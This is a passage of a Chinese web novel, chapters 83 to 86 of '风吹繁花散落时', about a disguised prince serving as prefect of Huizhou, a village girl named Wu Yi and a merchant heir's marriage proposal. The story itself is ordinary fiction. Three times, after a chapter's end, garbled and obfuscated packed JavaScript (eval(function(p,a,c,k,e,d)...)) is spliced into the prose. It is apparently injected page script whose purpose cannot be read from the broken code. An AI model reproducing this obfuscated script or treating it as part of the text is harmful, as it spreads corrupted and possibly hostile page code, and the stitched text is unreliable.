周启眉毛拧到一起,再一次抬头看着吴怡,“吴怡,我不知道你以前遇到的官员都是什么样子的。可是我身为徽州知府,不是来听好话的,我若想听,家里天天有人说好听的话。百姓若骂我,我也没办法,我只能尽量无私为公,为了徽州,挨两句骂又算得了什么呢?” “嘿嘿,大人,大人你是好官。”吴怡小眼珠一转,“大人,你这么好的官,肯定不会克扣我劳务费的,我那五十两银子?” 周启刚要慷慨激昂说几句肺腑之言,被吴怡一句话给气回去了。周启白了吴怡一眼,“明天你还过来。” “哎,好,谢谢大人!”吴怡以为周启明天才有银子给,第二天美颠颠跑来,谁知道周启是让她来给自己换药。“你不会让连锁给你换呀。” “他笨手笨脚的,你赶紧,等我好了,我好给你拿银子去。”周启已经准备好 金疮药了,递给吴怡。 吴怡接过药瓶子,心想:为了五十两银子,忍了!吴怡下定决心,对周启照顾有加,“对了,我爹之前一直坐在椅子上,大夫说好得快,你也一直坐着吧,你需要什么我帮你拿。” “是嘛?那给我倒杯茶。”吴怡一听吩咐,赶紧奉茶,“去那个架子上,把第二个格子里第三本书拿来。”吴怡又马不停蹄去拿书,“恩,成,放着吧。你去,给我研墨。” “不是要看书吗?” “又突然不想看了,研墨吧。” 吴怡心里又骂了周启好几遍,脸上却高高兴兴帮周启研墨,周启将一直在画的洛神拿出来,继续未完成的事业。吴怡一边研墨汁,一边伸着脖子看,心想:李大人呐李大人,你觉得我们不配,你才配,可是人家周大人心里有姑娘了,你还是哪凉快哪待着去吧。 “啧啧啧,好一副悠闲自得的光景。”说曹操曹操到,李博倚着门说出这酸话来。 “你又没事干了?”周启仍旧在修饰洛神,都没有抬头也知道是李博。 李博也不进来,“周大人,有客来访。” “谁呀?” “钱宁,说找你有事。” 周启看了一眼吴怡,见她也在看自己,便放下手中的笔,“看来这洛神是完成不了了。”说完便离开了书房。 吴怡又不知道洛神是谁,也不在意,便也跟着出门,可是却被李博拦住了,“吴怡。” “干嘛?” “别白费力气了。” “什么意思?”吴怡心想:难道这五十两银子真的要泡汤了? “你就算再乖巧,再听话,再有用,可是这种事,不是周大人能决定的。” 李博在说男女之事,可是吴怡想的却是五十两银子,“他怎么不能决定?他不是徽州知府吗?” “徽州知府也决定不了啊,吴怡,你看啊……” “岂有此理!”吴怡懊恼极了,觉得自己又被周启给耍了,“我去找他问清楚。” “哎哎,算了。”李博拉着吴怡的胳膊,“有这时间还是想想怎么办吧。” “怎么办?” “那个钱宁呀。” “钱宁?钱宁怎么了?” “啧,钱宁对你不挺好的吗?你找他呀。” 吴怡心想:钱宁对我再好,也不可能平白无故给我五十两银子呀。“找他他也不能答应呀。” “怎么可能不答应呢?你知道他来找周大人干什么吗?” 吴怡摇摇头,她没听钱宁说今天要来。 “你真笨!”李博着急了,“走,咱们去听听。” “听什么?” “哎呀,赶紧,听了你就明白了。” 两人偷偷摸摸来到前厅门口,正好听见钱宁慷慨激昂引用古言,反正吴怡是一句也听不 懂。 “成成成,这些你也不必说了,你就直接说你想干什么算了。” “周大人,请周大人写一封离合书,交给吴怡,还她自由之身。” 吴怡趴在门口听见自己名字,使劲把着李博往屋里探听。 “离合书?” “不错。” “这是吴怡的意思吗?” 钱宁一愣,“周大人,吴怡只是想帮周大人的忙,如今陷入如此处境,绝非她所愿。” “如此处境?什么处境?” “周大人,我们就不要绕弯子了吧?” “钱宁,本官与吴怡没有瓜葛,本官也没有正是下聘迎娶于她,何来离合一说呢?” “大人如此想最好,大人,你们三个头磕在地上,过往神明皆可见证,若什么说法都没有便另娶再嫁,实在于礼法不和。” 周启拧着眉毛看着钱宁,李老四捣乱他倒是明白,钱宁非要多此一举的原因是什么呢? (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第八十三章 钱宁再次表明心意 - 风吹繁花散落时 - 红酒羊排 周启一时不明白钱宁为什么要多此一举,就算他与吴怡三个头磕在地上,聘礼媒人都没有的婚礼怎可做数?既然婚礼不作数,又是情势所逼才没有办法而为之,大家就当是没有发生过也就过去了,何必跑到这里找自己要什么离合书,这不是非要告诉大家自己与吴怡曾经成亲吗?这么做对谁都没有好处。 正在周启奇怪的空挡,钱宁继续说到,“周大人,你刚才也说了,对吴怡没有男女之私,既然如此,写上一张离合书并非难事吧?” “离合书自然不难,只是吴怡尚且没有说什么,你为什么巴巴地跑来?” “周大人,吴怡是小民挚友,她的事……” “本官说过,男女之间是不存在友谊的。” “那大人与吴怡?” 周启少一愣神,“与你无关。” “大人,小民觉得小民所说之事并非难事,为何大人如此推脱?” “那你又为何如此上心?本官刚刚说了,吴怡想要,让她来找本官。” 李博见时机成熟,一错身,一把将吴怡推了进去。吴怡猝不及防,噔噔噔往里小跑两步,正奔着周启而去,要在平时周启也就拦住了,可是他现在有伤在身,下意识一个侧身,吴怡摔倒在地。 “哎呦,你咋也不知道拉我一把!” 周启见她摔倒了,也有点不好意思,可是钱宁已经过来将她扶起来了。“你没事吧?” 吴怡看了一眼钱宁,对着周启说到,“你这个人怎么这样?白照顾你了。” “谁让你照顾了?”周启双手背后,傲娇起来也是没边。 “嘿,你。”钱宁拉了一下吴怡,吴怡看了钱宁一眼,“你看他,翻脸比翻书还快。” “周大人。”钱宁将吴怡拉在身后,“我觉得您还是尽快写好离合书,这样大家都方便。” 周启十分不喜欢钱宁的态度,“那怎么行呢?我们新婚燕尔的,我怎么能离合呢?免得有人说我翻脸比翻书还快。”周启越过钱宁看向吴怡,露出你能拿我怎么样的表情。 “周大人!您刚刚明明说……” “本官明明说有话让吴怡来说,你又是站在什么立场与本官谈条件?” “这么说,周大人是不想离合了?” “离离离……”李博可忍不住了,一下子闯进来,“钱宁啊,只是我们周大人不能抛弃槽糠之妻呀。” “什么糟糠?谁糟糠了?” “你糟糠!”李博指着吴怡,“闭嘴!”他又转向钱宁说到,“钱宁啊,我们大人新婚燕尔就抛弃糟糠之妻,说出去也太不像话了,是要遭天谴的呀。不过要是有人愿意接收吴怡,你们两情相悦,我们大人当然愿意成全你们了。”周启不想李博多管闲事,却被李博反手制止住,“ 钱宁,怎么样?” “什么接收呀?我又不是货物。” “吴怡。”钱宁望着吴怡,这一次他不想再犹豫了,“吴怡,之前在京城,我说我喜欢你是发自真心的。后来你拒绝了我,我以为我们可以做朋友,可是周大人说得对,男女之间根本没有纯粹的友谊。我钱宁第一次这么喜欢一个女孩子,虽然我说不上你哪里好,可是我愿意一直照顾你,一直和你在一起。吴怡,你愿意嫁给我吗?” 此言一出,吴怡惊呆了,她看着钱宁,从来没有一个男人这么对待她,关心她爱护她,教她读书写字,教她做生意,更没有人跟她表白过,甚至还是两次,吴怡脑子里一片空白。 “吴怡,我知道,我还有很多不足的地方,以后我们在一起,只要你说的我都愿意为你去做,只要你答应我,我会一辈子爱护你……” 周启在旁边翻了一个白眼,等着钱宁再一次被拒绝,可是吴怡却突然糊涂起来,“我愿意!” 钱宁还没有说完,吴怡已经答应了,李博在旁边笑了起来,“那就好!这样我们周大人就可以……”李博还没有说完,周启一把将李博推开,“你说什么?” “我说我愿意。” “你愿意什么?你可想好了,不是他一辈子照顾你,而是你一辈子照顾他。为他生儿育女,为他孝敬公婆,为他三从四德。一辈子在他们钱家大院里,一辈子再也不能走了,你可想好了,是一辈子。”吴怡被周启这么一说,突然有点懵,钱宁却兴奋异常,一把抱住吴怡,“吴怡,我,我真是太高兴了,你能答应我,我真是太高兴了。” “成成成,这样最好,我们现在就给你离合书啊。” “给什么给!” 李博被周启吓了一跳,钱宁也放开了吴怡,“周大人。” 周启也被自己吓了一跳,快速看了一眼大家,“那个,你以为光吴怡答应就行吗?你父母要是同意,你们钱家要是来下聘,本官就给你们办户籍登记,离合书也一并给你。” “此话当真。” “君子一言,驷马难追。” “好,吴怡我们走。” 李博见两人走远了,来到周启身边,“什么情况?” “什么什么情况?” “你直接把离合书给她不完了吗?” “我为什么给她?” “嘿,那,那你还真想告诉皇上和皇后娘娘,你在徽州成亲了,对方不是什么名门闺秀,也不是什么小家碧玉,根本就是一乡村野丫头啊。” “那怎么了?” “哎,你别忘了,你不是什么徽州知府,你是五皇子啊!是我们大周唯一的嫡皇子!” “那又如何?” “那又如何?我。”李博叉着腰简直哭笑不得,“哎呦喂 ,你不会真喜欢那个野丫头了吧?” “谁说我喜欢她了!” “不喜欢最好,赶紧,趁现在,赶紧脱身,那个李老四再这么胡说八道下去,迟早得出事。别怪我没提醒你啊,这事要是被皇后娘娘知道,这丫头,哼,我看悬。” 周启听着李博滔滔不绝规劝自己,心思已经飞走了,他矗立在府衙前厅,看着空荡荡的门,心里突然很乱。 钱宁拉着吴怡一路回到钱家,跪倒在父母面前请父母成全。钱万全与王夫人大为惊讶,若说吴怡自然没什么不好,可是当儿媳妇确是差强人意。 “钱宁,休要胡言。” “娘,我没有胡说,我是真心喜欢吴怡的。” “吴怡。”钱万全了解自己的儿子,知道他不会一时冲动,症结恐怕在吴怡,“你是怎么想的呢?” 吴怡一听问自己,脑子里又一片空白,刚才看钱宁那么深情地望着自己,吴怡不知怎么就答应了,如今跪在老爷夫人面前,吴怡突然害怕起来。“我,我……” “吴怡,你别怕。爹,娘,我已经喜欢吴怡很久了,这次她能答应我,我一定不会放她走的,请爹娘成全。” “钱宁,你和张家小姐虽没有婚约,可是你们的亲事就好像两家已经默许了一样,这张家能同意你纳妾吗?”王夫人觉得钱宁根本就是在胡闹。 “娘,我并不是要纳吴怡为妾,我是娶她,明媒正娶。” 钱万全与王夫人对视一眼,今天这种情况太让人意外了。“钱宁,你先回去,我和你娘商量商量。” 钱宁知道钱万全这话的意思就是暂时不赞同,但是也没反对,自然高兴答应,拉着吴怡离开。钱宁一直拉着吴怡的手,这一刻他等了太久,怎么也不想放开。吴怡被钱宁拉着,心里有点奇怪,从钱宁表白到现在,吴怡脑子还是一片发蒙,不知道自己怎么就答应了。 两人拉着手走,被下人们看在眼里,钱家顿时就炸开了锅,吴怡见有人来突然不好意思起来。“嗯,那个钱宁,我先,我有事先走了。”说着,吴怡抽回手一溜烟跑了,钱宁看着吴怡的背影,只当她是害羞了,微微一笑。 吴怡回到自己的住所,春菊只是一笑,侧身离开了,白芷却拉着吴怡问这问那,连别房的丫头也都跑过来凑热闹。 “你快说说啊,少东家怎么喜欢你了?” “是啊是啊,吴怡,你命真好,马上就要当少奶奶了。” “是啊,吴怡,以后你当了少奶奶,把我要去好不好,我一定好好伺候你。” “哈哈哈哈,你是想好好伺候少爷吧。” “去,吴怡,你别听她们胡说。” 大家七嘴八舌地打趣吴怡,幸亏吴怡脸皮天生厚上三分,也没有不好意思 ,只是心里一直怪怪的。 宅门里的事情传播很快,钱朵马上就知道了,跑到爹娘面前反对。 “什么?她和周知府?朵朵,你不要胡说!” “娘,我没有胡说,吴怡一边勾引我哥,一边拉着周大人不放,根本就是爱慕虚荣一心想往上爬!爹,娘,你们千万不要被骗了!” 钱万全夫妇对视一眼,这两个孩子都够不让人省心的。“朵朵,吴怡的事情我们会调查清楚,你先回去吧。” 钱朵从花房出来,心里却越来越烦躁:她不知道周知府与吴怡之间发生了什么,觉得就算周知府不喜欢自己也不该喜欢吴怡,若他们真的在一起了,根本就是在侮辱她。还有吴怡,表面装着性格开朗与人为善的样子,暗地里却勾引钱宁,实在可恶!钱朵越想越生气,站在廊下想起主意。 (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第八十四章 娉婷回京 - 风吹繁花散落时 - 红酒羊排 周启回来了,马匪也悉数剿灭,何启年也算是完美完成了任务,整理队伍交接了工作,开拔回京。娉婷心灰意冷,虽然不甘心也无可奈何,迈着沉重的步伐出了大门。 “回京后别告诉别人我在徽州。” 娉婷也不说话,也不看周启,只嘟着嘴看着地。 “回宫后,听母后的话,别胡闹。” 娉婷继续嘟着嘴,头一歪翻了个白眼。 周启知道娉婷心情不好,虽然心里也不好受,但是如今已经没有别的选择了。周启摸了摸娉婷的头,“好了,走吧。” 娉婷终于不再看地面,红着眼睛看向周启,“哥。”周启伸出手,两兄妹抱在了一起,娉婷带着哭腔说到,“哥,也许以后你就看不见我了。” 周启也红了眼,想再安慰一下娉婷,但是终究忍住什么都没有说。 娉婷突然松开了周启,头也不回上了马车。周启站在原地,听车轮吱呀呀转动,目送着马车渐渐远去。周启心里像堵了一块石头一样,如今只是回京而已,若是将来要去西凉,还不知道作何感想,未来又将如何面对,一想到这些,周启觉得更加心烦意乱。李博背着手缓缓走出来,他知道周启肯定心情不好,可是这件事根本没有商量回旋的余地。 周启回头看了李博一眼,又盯着李博下上打量一番,“你怎么还在这?” “我?我怎么不能在这?” “你不跟着大家一起走吗?” “我怎么能把你一个人扔在这呢,放心吧,我留下来陪你。”李博用胳膊肘轻轻碰了周启一下,嬉皮笑脸说道。 “谁用你陪了,你也赶紧回京去吧。” “回京干嘛?你在这,我是你的伴读,我当然得在这了。再说了,那个二愣子和张广还在徽州呢,我哪能就回去了呢?” 周启知道李博担心自己的安全,反正他回不回京倒也无事,“对了,余年呢?你这个钦差不把他压回去吗?” “何统领给弄回去了,我的奏折也递上去了,我跟皇上说了,想在徽州游玩一番,我想皇上应该会答应吧,毕竟我当钦差也辛苦了。”李博语重心长地说到。 “切,你还辛苦了?要不要脸?” “嘿嘿。”李博一把搂住周启的肩膀,“好了,我的五皇子,我舍不得你,好了吧。” 周启瞪了李博一眼,暂时放下了娉婷离去的阴霾,徽州的故事还将继续。 娉婷觉得前途渺茫,悲从心生,一直坐在马车上直到中午也没有下来,何启年得了周启的吩咐:只要看住娉婷平安回到京城就成,其余不用管。何启年在宫中已久,闭口不言简直是看家本领。 此时的李老四听说了吴怡被钱宁带走的事情,恨不得蹦着去找吴怡,“真是个笨脑壳 !好好的知府夫人不当,上人家当有钱少奶奶,怎么想的!” “李大叔,这有钱人家少奶奶不好吗?” “好个屁!那少奶奶能跟诰命夫人比吗?” 侍卫们面面相觑,“诰命夫人?李大叔你知不知要想当上诰命夫人,那得一二品的大员夫人,我们大人现在是从四品。” “嘿,我说吴怡糊涂,你怎么也糊涂?那四品和二品一品能差多少?” “能差多少?李大叔,你以为往上走一个阶品这么容易啊?” 李老四白了一眼侍卫,“哼,那得看是谁。你们看我女婿,往那一站,那就是人中龙凤,早晚得当上一品,弄不好还能当上宰相老爷呢。” 侍卫们相视一笑,没想到李老四如此不靠谱,眼光还是不错的。“李大叔,你就别做梦了啊,你家吴怡很快就当钱家少奶奶了,你以后也去当有钱人家老丈人了。” 李老四坐在椅子上叹气,若在以前钱家当然是最好的归宿,可是现在明明有更好的选择,李老四简直恨铁不成钢,现在就想抽吴怡两个大耳光子。此时的吴怡不知道李老四怎么想的,还没有从糊涂中走出来,虽然钱家老夫人还不知道这件事,但是吴怡已经接受了钱家所有下人的祝贺和调侃,吴怡甚至没有时间思考一下自己的决定。 这天,吴怡被钱万全叫进花房,吴怡见钱万全与王夫人不说话,心里一直打鼓头也慢慢低了下去。 “吴怡,你也不用紧张,我们就是想问问你,你和知府大人是怎么认识的?” “周大人?我们,我以前在知府衙门当过杂役。” “当杂役?当杂役能赚五十两银子吗?” 此言一出,吴怡觉得浑身都一紧,“五十两?”吴怡尴尬地说道,“杂役怎么可能赚五十两嘛?我的月例是二两。” “那周大人为什么给你五十两银子呢?” “没有啊,没有的事。” “真的没有?” “真没有。” 钱万全一直盯着吴怡的眼睛看,吴怡被看得心里发虚,钱万全久经商场,吴怡的眼神已经说明了一切。“吴怡,给你多少钱你愿意离开徽州?” “啊?” “你开个价吧。”钱万全翘起二郎腿,王夫人看了一眼丈夫,她知道钱万全已经做了决定。 “老爷,我……” “吴怡,我钱万全是生意人,也是过来人,你在我面前没什么不好意思的。” “老爷,我真的不是为了钱,我就是……” 钱万全一摆手制止了吴怡,“既然你不开价,那我就倚老卖老了,一万两够了吧?” 吴怡一听一万两,心里有点惊着了,她从来没有见过一万两,听都很少听见。 钱万全继续说道,“你若是觉得这个价钱 可以,我现在就要管家去取,我们钱记的银票,不仅是在大周,就是西凉都可以通兑。” “老爷,我,我真不是因为钱,是钱宁他说喜欢我,想照顾我一辈子,我就答应了。” “好好好。”若是有人看见了吴怡刚刚听见一万两的眼神,就能深切体会到什么叫见钱眼开。钱万全和王夫人当然也看见了,他们对吴怡算是看清了,“这样吧,不管是哪,大周之内,你若想在哪里安家,我钱家愿意帮你置办一个小院子。吴怡,你和你爹以后也有个落脚的地方,你要知道这院子是很有可能升值的。再说这一万两银子,就是你现在在钱家每月赚十两,你也得赚上八十三年才行。况且现在我们肯定是不能用你了,你去哪里找十两银子的月例工作呢?” “哎,我,那个,别不用我啊。”吴怡着急了,这十两银子月例的工作真的仅此一份,现在她才深切的体会到自己即将失去什么,“可是我,我真的不是为了钱啊。” “吴怡,也许我们这样说,你觉得有点突然,这样吧,我给你两天时间考虑一下。不过你要知道,虽然钱宁是我儿子,但是这钱家是我钱万全说了算,我若是不同意你们的婚事,你就不能进钱家,就算钱宁他执意娶了你,以后你们也只有受苦受穷的命。只要他娶了你,这钱家的家产就跟他没有关系,我今天就可以明确地告诉你。” 坐在一旁的王夫人一脸淡定,她相信钱万全,这么多年大风大浪都过来了,还能搞不定一个吴怡吗? 吴怡走后,王夫人想起钱朵来,“老爷,如今余年已倒,那朵朵和周知府是不是?” 钱万全想了想,如今两个孩子也的却都到了婚配的年纪,之前为钱朵选亲,挑来选取也没有合适的,如今余年已经倒台,周知府倒的却是最好的选择。“可是周大人怎么和这么吴怡不清不楚。” “朵朵不是说了吗,是吴怡想要飞上枝头,纠缠周知府不成才来找钱宁的,看来周知府还是为人端正。” “就是不知道周知府什么意思呢。” 王夫人一直是支持钱朵的,如今听钱万全口风有了松动自然顺水推舟。“不如我去打听打听,请周小姐到家里来吹吹风。” “周小姐?我听罗掌柜说看见周小姐出城了,奔着京城方向去了,想必是回家了吧。” “回家了啊,怪不得好久没见她了,那我找别人探探口风吧,老爷,这件事您就不必操心了。” “那好,有劳夫人了。” 这边陈千朗也听说了周娉婷离开徽州的事情,他瞬间紧张起来,因为陈明阳就在京城。“这个女人还真是厉害呀,居然能看穿我的计谋。” “老爷?”旁边的管家不知道陈千朗小声嘀 咕什么,又怕是什么最终的吩咐。 “哦,没事,我这就休书一封,你去驿站寄,赶紧叫明阳回来。” 吴怡从花厅出来沮丧到了极点,若说以前自己大多数时间都是骗钱过日子,可是这次她真的没有想骗钱宁,更没有想骗钱家的钱。她一出来,看见钱家的小厮,又听他们打趣自己,觉得更加烦躁,便出了钱家来到街上。 周启也心情不好,一个人在街上巡查,李博带着人远远跟着不敢靠近,也不敢离开。周启正往前走着,远远看见张灵。 “美女” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第八十五章 计划开办学堂 - 风吹繁花散落时 - 红酒羊排 张灵在前边走着,突然听见有人叫美女,原本不在意,可是周启在后边紧走两步,“美女,张美女!” 张灵终于反应过来,一回头果然是周启,“周启公子?” “真是你啊,我这远远看着就像你。” “你的伤好了吗?” 周启低头看了一眼自己,“好了,早好了,还得谢谢你呢。” “那天那个人真是你家人啊?我还差点以为你被威胁了。” “哈哈,那天没吓着你吧?” “那倒没有,能看见你好好的站在这,真好。” 两人你一言我一语地往前走,身后李博和吴怡都激起了好奇之心。原来,周启叫美女的时候,吴怡正从胡同走过来,这还是吴怡第一次见周知府如此不正经,居然当街调戏良家少女,吴怡紧走两步,李博也紧走两步跟上来,两人相互看了一眼,又紧紧跟着周启和张灵。吴怡看了一会儿便认出了张灵,“哎哎哎,那不是,那不是张小姐吗?” “什么张小姐?” “张灵小姐啊,肯定是,我说我刚才看着这个背影怎么这么熟悉。” “张灵?谁家的?” “张家啊。” “啧,我还不知道张家,干什么的?家里都有谁?嫁人了没有?” “张家你不知道啊,晋中张家,那可是和钱家齐名的,特有钱。” “晋中?那她跑这干嘛?她成亲没有?” “哎,我跟你说啊。”吴怡拉着李博小声说道,“我听春菊说,张家小姐和我们少爷原本是一对。” “钱宁?”李博上下打量一下吴怡,“钱宁不是喜欢你吗?” 吴怡被李博这么一问,也突然想起这个问题,“我,我。” “我我我,我什么呀?怎么着,这刚几天,钱宁就把你抛弃了?” “你才被抛弃了呢!真是,怪不得呢。” “怪不得什么?” 吴怡想起钱万全的话,以为钱万全是因为要钱宁与张灵成亲才让自己离开徽州。“钱老爷想钱宁娶张小姐,可是钱宁就把张小姐当妹妹,张小姐也一心只想做生意,所以他们就没在一起啊。” 李博觉得跟吴怡说话真累,不知道这女人到底一天到晚在想什么,糊里糊涂的。还有前边这个什么张小姐,不知道哪里冒出来的。前边钱朵被周启拒绝了,李博这个伴读刚把吴怡派给了钱宁,这还不到两天怎么又来了一个,李博摇了摇头,“唉,这桃花也太多了吧?”正无奈着,吴怡突然拍了两下李博的肩膀,“快看快看。”李博一看周启,居然从旁边小摊子上买了一只朱钗,正在帮张灵带上。“嘿。”李博哪能容许这样的事情发生呢,紧走两步。“周大人!” 吴怡在旁边一把捂住李博的嘴,“你干嘛这么扫兴啊。” “呜呜呜呜。” “行了行了。”吴怡拉着李博离开主路,李博才发现这个女人劲还挺大。 “哎呀,你拉我干嘛?” “人家两个逛街,你干嘛去?” “我,我。”李博指指自己,又指着周启与张灵,“他们不能。” “哎呀,李大人,人家周知府喜欢女的,你就死了这份心吧。” “你也觉得他喜欢她是不是?哎呀,出大事了。” “能出什么大事,李大人,你,嘿,我知道,你喜欢周大人是不是?可是人家周大人喜欢女孩子,你没看见啊……”原本吴怡想说你没看见周大人桌子上的美女图吗?可是李博已经接过了话,“他就是不能喜欢。哎对了,吴怡,你,钱家接受你和钱宁成亲了吗?” 吴怡稍一迟疑,李博继续说道,“哦,是不是钱万全那个老头不同意?没关系,吴怡,我帮你。” “你帮我?” “你看见没有,你的希望就在那呢。” 吴怡顺着李博的手指看去,张灵正跟周启站在河边闲聊。“什么希望?” “你不说钱万全想钱宁与那姑娘成亲吗?她当大老婆,你当小老婆,大家皆大欢喜,多好。” 吴怡白了李博一眼,懒得理他,径直走开了。李博这话倒是发自内心,他要保证一件事,那就是五皇子只能带着政绩离开,而徽州人必须留在徽州。 此时周启并不知道李博的计划,他与张灵还在河边聊天。 “张小姐,这快到晌午了,我请你去同福苑吃个便饭好了,感谢你那天救了我。” “你还要说多少谢字?” “哈哈哈,救命之恩怎敢忘记。” “那我可要多吃点。” “那好,这边请。” 两人正要往同福苑而去,李博冲了过来,“大人,大人,府衙有紧急公文需要您处理。” “大人?”张灵疑惑地看着周启。 李博赶紧假装焦急地说道:“周大人,一府官员都等着您拿主意呢。” “周大人?你是,你是徽州知府?哎,不对呀,我听说徽州知府叫周开呀,你不是说你叫周启吗?” 李博一听吓了一跳,小声对周启嘀咕了一句,“你怎么把真名告诉她了。” 周启尴尬地一笑,“张小姐,你我相识之时情况危机,我也是担心给张小姐带来不利,还请张小姐见谅。” 张灵一想自己也没有说实话,倒看的开,“周大人,开与启又能相差多少呢。” 周启会心一笑,李博觉得大事不妙,“周大人,周大人赶紧走吧。” “什么事啊?”周启想想最近应该没什么紧急的事情啊,也不知道李博着什么急。 “额。”李博赶紧开动脑力,“那个你不是说要大家商量开办学堂嘛, 这得赶紧商量了,很快就要到学生入学的时候了。” “这着什么急呀?” “这不得商量在哪开,什么时候开,都收什么人嘛。” “这是首要任务吗?现在就是缺钱。” “你们要开学堂啊?这是好事。”张灵突然搭腔到。 “美女,你别听李博胡说,这事不着急。” “美女?”李博心里咯噔一下,惊奇地看着周启,心想:你是什么时候变得这么轻浮的? 张灵继续说道:“周大人,开办学堂是好事,不如我张家出资,或者钱家也可以啊,我们张家与钱家可是世交,我想钱伯伯一定会支持的。” “你家和钱家是世交?那这样吧,我们还是去同福苑去,我做东,我们正好可以好好商量一下。” “好,周大人,请。” 两人往前走着,李博在后边打了自己的嘴两下,“我这张臭嘴,这想的什么主意?哎,等等我呀。”三人来到同福苑商量开办学堂一事,李博点餐故意都点周启爱吃的,因为他口味实在奇葩,一般女孩子都受不了。结果上来的蒜香茄子、烤脑花、辣椒炒蛇肉、皮蛋豆腐、红烧蹄髈、大猪肘子也都是张灵爱吃的,李博不明所以,心想:小丫头片子,为了追我们五皇子,这都能吃?这做生意的女人是个狠角色。 “哈哈哈,这些若是不合张小姐胃口,张小姐也不必勉强。” “怎么会呢?周公子,这我可就不客气了。” “哎,小二,来坛子杏花村。”李博想灌醉张灵,让她自己说出自己的目的,可是张灵与周启的酒量都很好,不一会儿李博倒是不行了,留下两人商量开办学堂的事情。其实这事也简单,若是鼓动徽商出资,依着河边建造一座学堂也不是什么难事,不仅能带动徽州流动人员的就业,还能稳定徽州的治安,若赶在秋季开学前建成,今年的学生就能顺利入学,冬天也不至于荒废了学业。 “这些出资的商贾家的孩子自然能够进入学堂学习,还要接收一些寒门学子,不仅学费全免,也要给予这些孩子一定的补助,让他们没有后顾之忧。”张灵建议到。“这样一来,就必须保证学堂有稳定的银两流入,否则就会更加耽误孩子们的前程。” “学堂开立之后,朝廷自会播下银两,毕竟人才的培养是朝廷得以延续必不可少的。我现在在想,这学堂的老师,一定要有名师才行。” “可是现在的名师大多去了官员、商贾家庭做了私人教师,那里学生少,给的酬劳却多。” “哎,对了,我以前的老师邓敬之如今就在徽州,我去找他问问愿不愿意来。” “邓敬之?我听说过他,他以前不是皇子教习先生吗?” “啊?”周启自 知失言,赶紧解释,“嘿,他也不是一天到晚在宫里,他也在外边接私活,所以我家就把他给请家里来教我了。” “啊?一代名师也接私活啊?哈哈哈,怪不得你能考上状元。” 周启也跟着笑了起来,李博趴在桌子上嘟囔了一句,“五皇子不能啊。” “他说什么?” “没什么,时候不早了,我想去邓先生家看看,你呢?” “我去钱家探探钱伯伯的口风。” “那好,我们分开行动,明天你来知府衙门,我们可以再通通风。” “好。” 两人往外走,小二赶紧跑过来,“两位,两位还没有结账呢。” “找他要。”周启一指还醉着的李博,张灵会心一笑,两人分开行动。 这边吴怡离开李博后在大街上闲逛,张海慢慢悠悠走过来,“张小姐。” 吴怡被张海吓了一跳,以前骗人真是骗一个人换一个地方,如今不仅没骗着张海一文半两的,还一直碰见,幸亏吴怡是个老牌骗子,还是十分淡定,“张老板。” “张小姐这是要去谈生意吗?” “恩,那个,我刚才和周大人在一起,张老板也是做生意的,应该知道这官府的事情是不能随便告诉别人的。所以……哈哈哈,张老板,我现在要去钱家了,张老板回见。” “哎,张小姐,张小姐若有生意想着点我呀!”张海对着吴怡跑开的背影大喊道。 “好,一定想着你。”吴怡也不含糊,继续骗到。 吴怡走后,张海又琢磨起周启来,不知道这位知府大人又在盘算什么。不久前余年的倒台是他怎么也没有想到的事情,一个官场老油条居然被一个十八岁的知府给弄下台了,张海如今就像一条飘在海里的小船,而张灵是他现在唯一的希望。 (本章完) 第八十六章 一眼万年 - 风吹繁花散落时 - 红酒羊排 吴怡走进钱家,气氛变得十分微妙,吴怡一进书房,钱宁就赶紧走过来。“我爹娘找你了?” “恩,找了。” “我爹他说什么?” “没说什么。”吴怡想想还是别说老爷想给她钱的事情了,毕竟这种事情总感觉怪怪的。 “吴怡,我们钱记在河北的生意出了点问题,我爹让我过去处理一下,所以我……” “哦,那你赶紧去吧。” “可是我担心你,不如你跟我一起去吧?” “我?可是我爹还在知府衙门呢,我得照顾他呀。” “不如把你爹接来,我爹娘会好好照顾他的。” “啊?”吴怡最知道李老四了,这个李老四以前要是能住在钱家肯定得乐疯了,可是现在,诺达的知府衙门都照顾着他,他才不舍得走呢。“周大人会照顾我爹的,放心吧。” “那?我去河北了,你在这里我还是觉得不放心。” “这有什么不放心的。”门外,钱朵缓缓走了进来。“哥,爹娘说了,你要去河北,我就知道你肯定不放心吴怡,这不我来陪着吴怡,你放心去吧。” “你?” “哥。”钱朵双手拉着吴怡的胳膊,“哥,你看,要是你们成亲了,我还得叫吴怡一声嫂子呢,我这个妹妹一定会好好照顾嫂子的,你放心去吧。” 吴怡看了一眼钱朵,她还是挺喜欢钱朵的,便跟钱宁说,“你放心去吧。”钱宁见妹妹如此诚恳,也觉得好歹是个托付,“那好,朵朵,我一定从河北给你带好东西回来。 “那先谢谢哥了。” 此时钱万全已经知道了周启想开办学堂的意思,与张灵一拍即合,钱,钱家出了,但是学堂的名字必须体现出钱记的名号来。张灵觉得这样合情合理,便感谢钱万全后离开了。钱万全想先料理了吴怡,也就没有问张灵住在哪里。 